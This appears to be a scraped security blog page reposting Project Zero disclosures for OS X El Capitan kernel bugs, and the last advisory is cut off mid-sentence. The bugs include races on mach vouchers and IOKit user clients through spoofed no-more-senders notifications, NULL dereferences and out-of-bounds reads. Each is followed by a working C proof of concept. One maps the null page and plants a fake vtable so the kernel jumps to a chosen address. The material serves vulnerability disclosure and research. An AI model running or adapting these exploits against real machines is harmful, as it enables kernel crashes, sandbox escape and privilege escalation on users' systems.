/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=553
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
boolean_t
ipc_kobject_notify(
mach_msg_header_t *request_header,
mach_msg_header_t *reply_header)
{
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
switch (request_header->msgh_id) {
case MACH_NOTIFY_NO_SENDERS:
if (ip_kotype(port) == IKOT_VOUCHER) {
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
return TRUE;
}
At this point there are also no locks held.
void
ipc_voucher_notify(mach_msg_header_t *msg)
{
mach_no_senders_notification_t *notification = (void *)msg;
ipc_port_t port = notification->not_header.msgh_remote_port;
ipc_voucher_t iv;
assert(ip_active(port));
assert(IKOT_VOUCHER == ip_kotype(port));
iv = (ipc_voucher_t)port->ip_kobject;
ipc_voucher_release(iv);
}
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
Tested on OS X ElCapitan 10.11 (15A284)
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
Note that you might have to leave the repro running for a little while to win the race.
*/
// ianbeer
/*
OS X and iOS unsandboxable kernel use-after-free in mach vouchers
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
boolean_t
ipc_kobject_notify(
mach_msg_header_t *request_header,
mach_msg_header_t *reply_header)
{
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
switch (request_header->msgh_id) {
case MACH_NOTIFY_NO_SENDERS:
if (ip_kotype(port) == IKOT_VOUCHER) {
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
return TRUE;
}
At this point there are also no locks held.
void
ipc_voucher_notify(mach_msg_header_t *msg)
{
mach_no_senders_notification_t *notification = (void *)msg;
ipc_port_t port = notification->not_header.msgh_remote_port;
ipc_voucher_t iv;
assert(ip_active(port));
assert(IKOT_VOUCHER == ip_kotype(port));
iv = (ipc_voucher_t)port->ip_kobject;
ipc_voucher_release(iv);
}
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
Tested on OS X ElCapitan 10.11 (15A284)
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
Note that you might have to leave the repro running for a little while to win the race.
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
int start = 0;
void go(void* arg){
mach_port_t v = 0xb03; // <-- works for me; ymmv
mach_msg_header_t msg = {0};
msg.msgh_size = sizeof(mach_msg_header_t);
msg.msgh_local_port = v;
msg.msgh_remote_port = v;
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.msgh_id = 0106;
while(start == 0){;}
usleep(1);
mach_msg(&msg,
MACH_SEND_MSG,
msg.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
int main() {
//char port_num[20] = {0};
//gets(port_num);
//mach_port_t v = (mach_port_t)atoi(port_num);
//printf("%x\n", v);
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
mach_port_t v = 0xb03;
mach_msg_header_t msg = {0};
msg.msgh_size = sizeof(mach_msg_header_t);
msg.msgh_local_port = v;
msg.msgh_remote_port = v;
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.msgh_id = 0106;
usleep(100000);
start = 1;
mach_msg(&msg,
MACH_SEND_MSG,
msg.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
pthread_join(t, NULL);
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863223792
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int main() {
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), 12, &conn); // <-- userclient type 12
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
printf("boom?\n");
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=565
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_4; done
Likely to crash in various ways; have observed NULL derefs and NX traps.
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
/*
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_4; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IntelAccelerator";
int client_type = 4;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=566
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_7; done
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit
/*
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications
repro: while true; do ./iospoof_ig_7; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IntelAccelerator";
int client_type = 7;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=567
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/
// ianbeer
/*
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <bsm/audit.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
mach_port_t conn = audit_session_self();
if (conn == MACH_PORT_NULL) {
printf("can't get audit session port\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569
IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE test esi, esi
__text:00000000000118F0 mov r13d, 0E00002C7h
__text:00000000000118F6 js loc_11C5B <-- fail if negative
__text:00000000000118FC lea rdx, _sRoutineCount
__text:0000000000011903 cmp esi, [rdx]
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999 mov rcx, rax
__text:000000000001199C shl rcx, 4
__text:00000000000119A0 lea rdx, _sRoutines
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
__text:00000000000119AC cmp r14d, 7
__text:00000000000119B0 mov r13d, 0E00002C2h
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC mov rcx, [rdx+rcx]
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40
the code then sets the required registers/stack entries for the number of parameters and calls var_40:
__text:0000000000011B77 mov rdi, r15
__text:0000000000011B7A call [rbp+var_40]
Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/
// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300
/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution
IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE test esi, esi
__text:00000000000118F0 mov r13d, 0E00002C7h
__text:00000000000118F6 js loc_11C5B <-- fail if negative
__text:00000000000118FC lea rdx, _sRoutineCount
__text:0000000000011903 cmp esi, [rdx]
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999 mov rcx, rax
__text:000000000001199C shl rcx, 4
__text:00000000000119A0 lea rdx, _sRoutines
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
__text:00000000000119AC cmp r14d, 7
__text:00000000000119B0 mov r13d, 0E00002C2h
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC mov rcx, [rdx+rcx]
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40
the code then sets the required registers/stack entries for the number of parameters and calls var_40:
__text:0000000000011B77 mov rdi, r15
__text:0000000000011B7A call [rbp+var_40]
Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 1;
memset(inputStruct, 'A', inputStructCnt);
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
21,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp
/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IOBluetoothHCIController";
int client_type = 1;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580
The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
//ianbeer
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc
/*
OS X Kernel UaF in hypervisor driver
The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
int go() {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
while(1) {
io_connect_t conn;
IOServiceOpen(service, mach_task_self(), 0, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 16;
char outputStruct[4096] = {0};
size_t outputStructCnt = 4096;
kern_return_t err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
IOServiceClose(conn);
}
}
int main(int argc, char** argv) {
pid_t child = fork();
if (child == 0) {
go();
} else {
sleep(1);
kill(child, 9);
int sl;
wait(&sl);
}
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=595
The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
// ianbeer
/*
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure
clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0
The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = 'A';
}
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
uint64_t* obj_ptr = malloc(0x1000);
uint64_t* obj = malloc(0x1000);
uint64_t* vtable = malloc(0x1000);
uint64_t kernel_rip = 0xffff800041414141;
vtable[0x70/8] = kernel_rip;
*obj = (uint64_t)vtable;
*obj_ptr = (uint64_t)obj;
*((uint64_t*)0x28) = (uint64_t)obj_ptr;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 0;
outputStructCnt = 0;
inputStructCnt = 0x1000;
err = IOConnectCallMethod(
conn,
0x206,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
return 0;
}
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=596
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366 push rbp
__text:000000000002A367 mov rbp, rsp
__text:000000000002A36A push r15
__text:000000000002A36C push r14
__text:000000000002A36E push r12
__text:000000000002A370 push rbx
__text:000000000002A371 mov rax, rdx
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
__text:000000000002A377 mov r14, rdi
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
__text:000000000002A381 cmp edx, 200h
__text:000000000002A387 jbe short loc_2A3AD
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
__text:000000000002A397 mov ecx, 200h
__text:000000000002A39C xor eax, eax
__text:000000000002A39E call _IOLog
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
However, we can do more:
r15 is passed to IntelAccelerator::gstqConfigure:
mov rsi, r15
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
where we reach the following code:
__text:000000000001DC29 mov edx, [rsi+800h]
__text:000000000001DC2F shl rdx, 2 ; size_t
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A call _memcpy
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
